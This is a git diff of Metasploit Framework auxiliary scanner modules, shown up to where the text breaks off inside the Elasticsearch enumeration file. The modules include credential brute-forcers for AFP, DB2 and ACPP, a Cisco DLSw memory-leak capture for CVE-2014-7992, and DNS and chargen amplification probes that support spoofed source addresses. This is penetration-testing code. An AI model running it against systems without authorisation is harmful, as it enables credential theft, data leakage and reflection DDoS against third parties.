framework_module: self, + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: fullname, + workspace_id: myworkspace_id + ) + password = result.credential.private + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + print_good("#{ip}:#{rport} - ACPP LOGIN SUCCESSFUL: #{password}") + report_vuln( + host: ip, + port: rport, + proto: 'tcp', + name: 'Fixed XOR key used to encrypt passwords', + info: "Successful authentication with '#{password}'", + refs: references + ) + else + invalidate_login(credential_data) + vprint_error("#{ip}:#{rport} - ACPP LOGIN FAILED: #{password} (#{result.status}: #{result.proof})") + end + end + end +end diff --git a/modules/auxiliary/scanner/afp/afp_login.rb b/modules/auxiliary/scanner/afp/afp_login.rb index f3affe799d..06fe09eb29 100644 --- a/modules/auxiliary/scanner/afp/afp_login.rb +++ b/modules/auxiliary/scanner/afp/afp_login.rb @@ -1,10 +1,12 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'openssl' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/afp' class Metasploit3 < Msf::Auxiliary @@ -32,6 +34,7 @@ class Metasploit3 < Msf::Auxiliary deregister_options('RHOST') register_options( [ + Opt::Proxies, OptInt.new('LoginTimeOut', [ true, "Timout on login", 23 ]), OptBool.new('RECORD_GUEST', [ false, "Record guest login to the database", false]), OptBool.new('CHECK_GUEST', [ false, "Check for guest login", true]) @@ -41,83 +44,51 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) print_status("Scanning IP: #{ip.to_s}") - begin - connect - info = get_info # get_info drops connection - raise "Unsupported AFP version" unless info[:uams].include?("DHCAST128") + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + ) - if datastore['CHECK_GUEST'] && info[:uams].include?("No User Authent") - connect - open_session - do_guest_login - close_session - end + cred_collection = prepend_db_passwords(cred_collection) - each_user_pass do |user, pass| - if user == '' - return :skip_user # check guest login once per host - end + scanner = Metasploit::Framework::LoginScanner::AFP.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 30, + max_send_size: datastore['TCP::max_send_size'], + send_delay: datastore['TCP::send_delay'], + framework: framework, + framework_module: self, + ) - vprint_status("Trying to login as '#{user}' with password '#{pass}'") - connect - open_session - status = do_login(user, pass) - close_session # close_session drops connection + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) - status - end - rescue ::Timeout::Error - raise $! - rescue ::Interrupt - raise $! - rescue ::Rex::ConnectionError, ::IOError, ::Errno::ECONNRESET, ::Errno::ENOPROTOOPT - rescue ::Exception - print_error("#{rhost}:#{rport} #{$!.class} #{$!}") - ensure - close_session if sock - disconnect - end - end - - def do_login(user, pass) - status = login(user, pass) - - if status == true - status = :next_user - print_good("#{rhost} - SUCCESSFUL LOGIN '#{user}' : '#{pass}'") - report_auth_info({ - :host => rhost, - :port => rport, - :sname => 'afp', - :user => user, - :pass => pass, - :source_type => 'user_supplied', - :active => true - }) - end - return status - end - - def do_guest_login - status = login('', '') - if status - status = :next_user - print_good("#{rhost} Supports Guest logins") - - if datastore['RECORD_GUEST'] - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'atp', - :user => '', - :pass => '', - :type => "Guest Login", - :source_type => "user_supplied", - :active => true - ) + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + else + invalidate_login(credential_data) + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end end - return status end + + end diff --git a/modules/auxiliary/scanner/afp/afp_server_info.rb b/modules/auxiliary/scanner/afp/afp_server_info.rb index a975cf1b90..8f6692fd6f 100644 --- a/modules/auxiliary/scanner/afp/afp_server_info.rb +++ b/modules/auxiliary/scanner/afp/afp_server_info.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb b/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb index 517a114412..099cf46cbe 100644 --- a/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb +++ b/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/chargen/chargen_probe.rb b/modules/auxiliary/scanner/chargen/chargen_probe.rb index aee6cd5294..721bd6e073 100644 --- a/modules/auxiliary/scanner/chargen/chargen_probe.rb +++ b/modules/auxiliary/scanner/chargen/chargen_probe.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,8 +9,11 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Scanner + include Msf::Exploit::Capture include Msf::Auxiliary::Report include Msf::Exploit::Remote::Udp + include Msf::Auxiliary::DRDoS + include Msf::Auxiliary::UDPScanner def initialize super( @@ -45,24 +48,28 @@ class Metasploit3 < Msf::Auxiliary end def run_host(rhost) - begin - connect_udp - pkt = Rex::Text.rand_text_alpha_lower(1) - udp_sock.write(pkt) - r = udp_sock.recvfrom(65535, 0.1) + data = Rex::Text.rand_text_alpha_lower(1) + if spoofed? + scanner_spoof_send(data, rhost, datastore['RPORT'], datastore['SRCIP'], datastore['NUM_REQUESTS']) + else + begin + connect_udp + udp_sock.write(data) + r = udp_sock.recvfrom(65535, 0.1) - if r and r[1] - vprint_status("#{rhost}:#{rport} - Response: #{r[0].to_s}") - res = r[0].to_s.strip - if (res.match(/ABCDEFGHIJKLMNOPQRSTUVWXYZ/i) || res.match(/0123456789/)) - print_good("#{rhost}:#{rport} answers with #{res.length} bytes (headers + UDP payload)") - report_service(:host => rhost, :port => rport, :proto => "udp", :name => "chargen", :info => res.length) + if r and r[1] + vprint_status("#{rhost}:#{rport} - Response: #{r[0].to_s}") + res = r[0].to_s.strip + if (res.match(/ABCDEFGHIJKLMNOPQRSTUVWXYZ/i) || res.match(/0123456789/)) + print_good("#{rhost}:#{rport} answers with #{res.length} bytes (headers + UDP payload)") + report_service(:host => rhost, :port => rport, :proto => "udp", :name => "chargen", :info => res.length) + end end + rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused + nil + ensure + disconnect_udp if self.udp_sock end - rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused - nil - ensure - disconnect_udp if self.udp_sock end end end diff --git a/modules/auxiliary/scanner/couchdb/couchdb_enum.rb b/modules/auxiliary/scanner/couchdb/couchdb_enum.rb index 57ed3ef14b..036f7511ec 100644 --- a/modules/auxiliary/scanner/couchdb/couchdb_enum.rb +++ b/modules/auxiliary/scanner/couchdb/couchdb_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/couchdb/couchdb_login.rb b/modules/auxiliary/scanner/couchdb/couchdb_login.rb index b0b033a67c..88caaa9995 100644 --- a/modules/auxiliary/scanner/couchdb/couchdb_login.rb +++ b/modules/auxiliary/scanner/couchdb/couchdb_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/db2/db2_auth.rb b/modules/auxiliary/scanner/db2/db2_auth.rb index 0ba46d6973..4fb8dfee72 100644 --- a/modules/auxiliary/scanner/db2/db2_auth.rb +++ b/modules/auxiliary/scanner/db2/db2_auth.rb @@ -1,11 +1,12 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' - +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/db2' class Metasploit3 < Msf::Auxiliary @@ -30,6 +31,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ + Opt::Proxies, OptPath.new('USERPASS_FILE', [ false, "File containing (space-seperated) users and passwords, one pair per line", File.join(Msf::Config.data_directory, "wordlists", "db2_default_userpass.txt") ]), OptPath.new('USER_FILE', [ false, "File containing users, one per line", @@ -40,44 +42,50 @@ class Metasploit3 < Msf::Auxiliary end def run_host(ip) - each_user_pass { |user, pass| - do_login(user,pass,datastore['DATABASE']) - } + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + realm: datastore['DATABASE'] + ) + + cred_collection = prepend_db_passwords(cred_collection) + + scanner = Metasploit::Framework::LoginScanner::DB2.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 30, + max_send_size: datastore['TCP::max_send_size'], + send_delay: datastore['TCP::send_delay'], + framework: framework, + framework_module: self, + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + else + invalidate_login(credential_data) + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + end + end end - def do_login(user=nil,pass=nil,db=nil) - datastore['USERNAME'] = user - datastore['PASSWORD'] = pass - vprint_status("#{rhost}:#{rport} - DB2 - Trying username:'#{user}' with password:'#{pass}'") - - begin - info = db2_check_login - rescue ::Rex::ConnectionError - vprint_error("#{rhost}:#{rport} : Unable to attempt authentication") - return :abort - rescue ::Rex::Proto::DRDA::RespError => e - vprint_error("#{rhost}:#{rport} : Error in connecting to DB2 instance: #{e}") - return :abort - end - - disconnect - - if info[:db_login_success] - print_good("#{rhost}:#{rport} - DB2 - successful login for '#{user}' : '#{pass}' against database '#{db}'") - # Report credentials - report_auth_info( - :host => rhost, - :port => rport, - :sname => "db2", - :user => "#{db}/#{user}", - :pass => pass, - :active => true - ) - return :next_user - else - vprint_error("#{rhost}:#{rport} - DB2 - failed login for '#{user}' : '#{pass}' against database '#{db}'") - return :fail - end - - end end diff --git a/modules/auxiliary/scanner/db2/db2_version.rb b/modules/auxiliary/scanner/db2/db2_version.rb index 0a0ae18780..3feac07d07 100644 --- a/modules/auxiliary/scanner/db2/db2_version.rb +++ b/modules/auxiliary/scanner/db2/db2_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/db2/discovery.rb b/modules/auxiliary/scanner/db2/discovery.rb index 7aeb1121e5..b7f4f5dfbd 100644 --- a/modules/auxiliary/scanner/db2/discovery.rb +++ b/modules/auxiliary/scanner/db2/discovery.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/dcerpc/endpoint_mapper.rb b/modules/auxiliary/scanner/dcerpc/endpoint_mapper.rb index 44f8c3790d..f99da3d29f 100644 --- a/modules/auxiliary/scanner/dcerpc/endpoint_mapper.rb +++ b/modules/auxiliary/scanner/dcerpc/endpoint_mapper.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/dcerpc/hidden.rb b/modules/auxiliary/scanner/dcerpc/hidden.rb index 882817e273..79c2b359f7 100644 --- a/modules/auxiliary/scanner/dcerpc/hidden.rb +++ b/modules/auxiliary/scanner/dcerpc/hidden.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/dcerpc/management.rb b/modules/auxiliary/scanner/dcerpc/management.rb index 65c9a5f730..b68723d582 100644 --- a/modules/auxiliary/scanner/dcerpc/management.rb +++ b/modules/auxiliary/scanner/dcerpc/management.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/dcerpc/tcp_dcerpc_auditor.rb b/modules/auxiliary/scanner/dcerpc/tcp_dcerpc_auditor.rb index bdd4d00925..2641054b1f 100644 --- a/modules/auxiliary/scanner/dcerpc/tcp_dcerpc_auditor.rb +++ b/modules/auxiliary/scanner/dcerpc/tcp_dcerpc_auditor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb index 0ea10974fa..8bb5dfd750 100644 --- a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb +++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -28,7 +28,7 @@ class Metasploit3 < Msf::Auxiliary Deployment Services RPC service and parses out the stored credentials. Tested against Windows 2008 R2 x64 and Windows 2003 x86. }, - 'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ], + 'Author' => [ 'Ben Campbell' ], 'License' => MSF_LICENSE, 'References' => [ diff --git a/modules/auxiliary/scanner/dect/call_scanner.rb b/modules/auxiliary/scanner/dect/call_scanner.rb index 2b14060415..206367d11e 100644 --- a/modules/auxiliary/scanner/dect/call_scanner.rb +++ b/modules/auxiliary/scanner/dect/call_scanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/dect/station_scanner.rb b/modules/auxiliary/scanner/dect/station_scanner.rb index 0d86dea5fa..e25605bdfd 100644 --- a/modules/auxiliary/scanner/dect/station_scanner.rb +++ b/modules/auxiliary/scanner/dect/station_scanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/discovery/arp_sweep.rb b/modules/auxiliary/scanner/discovery/arp_sweep.rb index dfa7920c4a..50df7747c8 100644 --- a/modules/auxiliary/scanner/discovery/arp_sweep.rb +++ b/modules/auxiliary/scanner/discovery/arp_sweep.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Auxiliary OptInt.new('TIMEOUT', [true, 'The number of seconds to wait for new data', 5]), ], self.class) - deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'UDP_SECRET', 'GATEWAY', 'NETMASK') + deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'SECRET', 'GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT') end def run_batch_size diff --git a/modules/auxiliary/scanner/discovery/empty_udp.rb b/modules/auxiliary/scanner/discovery/empty_udp.rb new file mode 100644 index 0000000000..d64ec3ebd8 --- /dev/null +++ b/modules/auxiliary/scanner/discovery/empty_udp.rb @@ -0,0 +1,44 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Auxiliary::UDPScanner + + def initialize + super( + 'Name' => 'UDP Empty Prober', + 'Description' => 'Detect UDP services that reply to empty probes', + 'Author' => 'Jon Hart <jon_hart[at]rapid7.com>', + 'License' => MSF_LICENSE + ) + register_options([ + OptString.new('PORTS', [true, 'Ports to probe', '1-1024,1194,2000,2049,4353,5060,5061,5351,8443']) + ], self.class) + end + + def setup + super + @ports = Rex::Socket.portspec_crack(datastore['PORTS']) + raise Msf::OptionValidateError.new(['PORTS']) if @ports.empty? + end + + def scanner_prescan(batch) + print_status("Sending #{@ports.length} empty probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)") + end + + def scan_host(ip) + @ports.each do |port| + scanner_send('', ip, port) + end + end + + def scanner_process(data, shost, sport) + print_good("Received #{data.inspect} from #{shost}:#{sport}/udp") + report_service(:host => shost, :port => sport, :proto => 'udp', :info => data.inspect) + end +end diff --git a/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb b/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb index 312102ab28..4795a21ae8 100644 --- a/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb +++ b/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb b/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb index 2b6e92ee29..c60d28db3a 100644 --- a/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb +++ b/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb b/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb index 6584c674a4..1cfac0e01e 100644 --- a/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb +++ b/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/discovery/udp_probe.rb b/modules/auxiliary/scanner/discovery/udp_probe.rb index b879573782..fb5b0bf10f 100644 --- a/modules/auxiliary/scanner/discovery/udp_probe.rb +++ b/modules/auxiliary/scanner/discovery/udp_probe.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/discovery/udp_sweep.rb b/modules/auxiliary/scanner/discovery/udp_sweep.rb index 8f87a3c498..22959631c9 100644 --- a/modules/auxiliary/scanner/discovery/udp_sweep.rb +++ b/modules/auxiliary/scanner/discovery/udp_sweep.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -25,6 +25,12 @@ class Metasploit3 < Msf::Auxiliary OptBool.new('RANDOMIZE_PORTS', [false, 'Randomize the order the ports are probed', true]) ], self.class) + # RPORT is required by UDPScanner but not used in this module since it + # works with multiple ports. + # TODO: update this module to simply use Scanner or update UDPScanner to support + # multiple ports. + deregister_options('RPORT') + # Intialize the probes array @probes = [] diff --git a/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb new file mode 100644 index 0000000000..5c56b1553f --- /dev/null +++ b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb @@ -0,0 +1,114 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'socket' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'Cisco DLSw Information Disclosure Scanner', + 'Description' => %q( + This module implements the DLSw information disclosure retrieval. There + is a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains + that allows an unuthenticated remote attacker to retrieve the partial + contents of packets traversing a Cisco router with DLSw configured + and active. + ), + 'Author' => [ + 'Tate Hansen', # Vulnerability discovery + 'John McLeod', # Vulnerability discovery + 'Kyle Rainey' # Built lab to recreate vulnerability and help test + ], + 'References' => + [ + ['CVE', '2014-7992'], + ['URL', 'https://github.com/tatehansen/dlsw_exploit'] + ], + 'DisclosureDate' => 'Nov 17 2014', + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(2067), + OptInt.new('LEAK_AMOUNT', [true, 'The number of bytes to store before shutting down.', 1024]) + ], self.class) + end + + def peer + "#{rhost}:#{rport}" + end + + def get_response(size = 72) + connect + response = sock.get_once(size) + disconnect + response + end + + # Called when using check + def check_host(_ip) + print_status("#{peer}: Checking for DLSw information disclosure (CVE-2014-7992)") + response = get_response + + if response.blank? + vprint_status("#{peer}: no response") + Exploit::CheckCode::Safe + elsif response[0..1] == "\x31\x48" || response[0..1] == "\x32\x48" + vprint_good("#{peer}: Detected DLSw protocol") + report_service( + host: rhost, + port: rport, + proto: 'tcp', + name: 'dlsw' + ) + # TODO: check that response has something that truly indicates it is vulnerable + # and not simply that it responded + unless response[18..72].scan(/\x00/).length == 54 + print_good("#{peer}: vulnerable to DLSw information disclosure; leaked #{response.length} bytes") + report_vuln( + host: rhost, + port: rport, + name: name, + refs: references, + info: "Module #{fullname} collected #{response.length} bytes" + ) + Exploit::CheckCode::Vulnerable + end + else + vprint_status("#{peer}: #{response.size}-byte response didn't contain any leaked data") + Exploit::CheckCode::Safe + end + end + + # Main method + def run_host(ip) + return unless check_host(ip) == Exploit::CheckCode::Vulnerable + + dlsw_data = '' + until dlsw_data.length > datastore['LEAK_AMOUNT'] + response = get_response + dlsw_data << response[18..72] unless response.blank? + end + loot_and_report(dlsw_data) + end + + def loot_and_report(dlsw_leak) + path = store_loot( + 'dlsw.packet.contents', + 'application/octet-stream', + rhost, + dlsw_leak, + 'DLSw_leaked_data', + 'DLSw packet memory leak' + ) + print_status("#{peer}: DLSw leaked data stored in #{path}") + end +end diff --git a/modules/auxiliary/scanner/dns/dns_amp.rb b/modules/auxiliary/scanner/dns/dns_amp.rb new file mode 100644 index 0000000000..4b448dca11 --- /dev/null +++ b/modules/auxiliary/scanner/dns/dns_amp.rb @@ -0,0 +1,139 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Capture + include Msf::Auxiliary::UDPScanner + include Msf::Auxiliary::DRDoS + + def initialize + super( + 'Name' => 'DNS Amplification Scanner', + 'Description' => %q{ + This module can be used to discover DNS servers which expose recursive + name lookups which can be used in an amplication attack against a + third party. + }, + 'Author' => [ 'xistence <xistence[at]0x90.nl>'], # Original scanner module + 'License' => MSF_LICENSE + ) + + register_options( [ + Opt::RPORT(53), + OptString.new('DOMAINNAME', [true, 'Domain to use for the DNS request', 'isc.org' ]), + OptString.new('QUERYTYPE', [true, 'Query type(A, NS, SOA, MX, TXT, AAAA, RRSIG, DNSKEY, ANY)', 'ANY' ]), + ], self.class) + end + + def rport + datastore['RPORT'] + end + + def setup + super + + # Check for DNS query types byte + case datastore['QUERYTYPE'] + when 'A' + querypacket="\x01" + when 'NS' + querypacket="\x02" + when 'SOA' + querypacket="\x06" + when 'MX' + querypacket="\x0f" + when 'TXT' + querypacket="\x10" + when 'AAAA' + querypacket="\x1c" + when 'RRSIG' + querypacket="\x2e" + when 'DNSKEY' + querypacket="\x30" + when 'ANY' + querypacket="\xff" + else + print_error("Invalid query type!") + return + end + + targdomainpacket = [] + # Before every part of the domainname there should be the length of that part (instead of a ".") + # So isc.org divided is 3isc3org + datastore['DOMAINNAME'].split('.').each do |domainpart| + # The length of the domain part in hex + domainpartlength = "%02x" % domainpart.length + # Convert the name part to a hex string + domainpart = domainpart.each_byte.map { |b| b.to_s(16) }.join() + # Combine the length of the name part and the name part + targdomainpacket.push(domainpartlength + domainpart) + end + # Convert the targdomainpacket to a string + targdomainpacket = targdomainpacket.join.to_s + # Create a correct hex character string to be used in the packet + targdomainpacket = targdomainpacket.scan(/../).map { |x| x.hex.chr }.join + # DNS Packet including our target domain and query type + @msearch_probe = "\x09\x8d\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00" + targdomainpacket + "\x00\x00" + querypacket + "\x00\x01" + end + + def scanner_prescan(batch) + print_status("Sending DNS probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)") + # Standard packet is 60 bytes. Add the domain size to this + sendpacketsize = 60 + datastore['DOMAINNAME'].length + print_status("Sending #{sendpacketsize} bytes to each host using the IN #{datastore['QUERYTYPE']} #{datastore['DOMAINNAME']} request") + @results = {} + end + + def scan_host(ip) + if spoofed? + datastore['ScannerRecvWindow'] = 0 + scanner_spoof_send(@msearch_probe, ip, datastore['RPORT'], datastore['SRCIP'], datastore['NUM_REQUESTS']) + else + scanner_send(@msearch_probe, ip, datastore['RPORT']) + end + end + + def scanner_process(data, shost, sport) + + # Check the response data for \x09\x8d and the next 2 bytes, which contain our DNS flags + if data =~/\x09\x8d(..)/ + flags = $1 + flags = flags.unpack('B*')[0].scan(/./) + # Query Response + qr = flags[0] + # Recursion Available + ra = flags[8] + # Response Code + rcode = flags[12] + flags[13] + flags[14] + flags[15] + + # If these flags are set, we get a valid response + # don't test recursion available if correct answer received + # at least the case with bind and "additional-from-cache no" or version < 9.5+ + if qr == "1" and rcode == "0000" + sendlength = 60 + datastore['DOMAINNAME'].length + receivelength = 42 + data.length + amp = receivelength / sendlength.to_f + print_good("#{shost}:#{datastore['RPORT']} - Response is #{receivelength} bytes [#{amp.round(2)}x Amplification]") + report_service(:host => shost, :port => datastore['RPORT'], :proto => 'udp', :name => "dns") + report_vuln( + :host => shost, + :port => datastore['RPORT'], + :proto => 'udp', :name => "DNS", + :info => "DNS amplification - #{data.length} bytes [#{amp.round(2)}x Amplification]", + :refs => [ "CVE-2006-0987", "CVE-2006-0988" ]) + end + + # If these flags are set, we get a valid response but recursion is not available + if qr == "1" and ra == "0" and rcode == "0101" + print_status("#{shost}:#{datastore['RPORT']} - Recursion not allowed") + report_service(:host => shost, :port => datastore['RPORT'], :proto => 'udp', :name => "dns") + end + end + end +end diff --git a/modules/auxiliary/scanner/elasticsearch/indices_enum.rb b/modules/auxiliary/scanner/elasticsearch/indices_enum.rb new file mode 100644 index 0000000000..7624c9f7d9 --- /dev/null +++ b/modules/auxiliary/scanner/elasticsearch/indices_enum.rb @@ -0,0 +1,89 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ElasticSearch Indices Enumeration Utility', + 'Description' => %q{ + This module enumerates ElasticSearch Indices. It uses the REST API + in order to make it. + }, + 'Author' => + [ + 'Silas Cutler <Silas.Cutler[at]BlackListThisDomain.com>' + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + Opt::RPORT(9200) + ], self.class) + end + + def peer + "#{rhost}:#{rport}" + end + + def run_host(ip) + vprint_status("#{peer} - Querying indices...") + begin + res = send_request_raw({ + 'uri' => '/_aliases', + 'method' => 'GET', + }) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable + vprint_error("#{peer} - Unable to establish connection") + return + end + + if res && res.code == 200 && res.body.length > 0 + begin + json_body = JSON.parse(res.body) + rescue JSON::ParserError + vprint_error("#{peer} - Unable to parse JSON") + return + end + else + vprint_error("#{peer} - Timeout or unexpected response...") + return + end + + report_service( + :host => rhost, + :port => rport, + :proto => 'tcp', + :name => 'elasticsearch' + ) + + indices = [] + + json_body.each do |index| + indices.push(index[0]) + report_note( + :host => rhost, + :port => rport, + :proto => 'tcp', + :type => "elasticsearch.index", + :data => index[0], + :update => :unique_data + 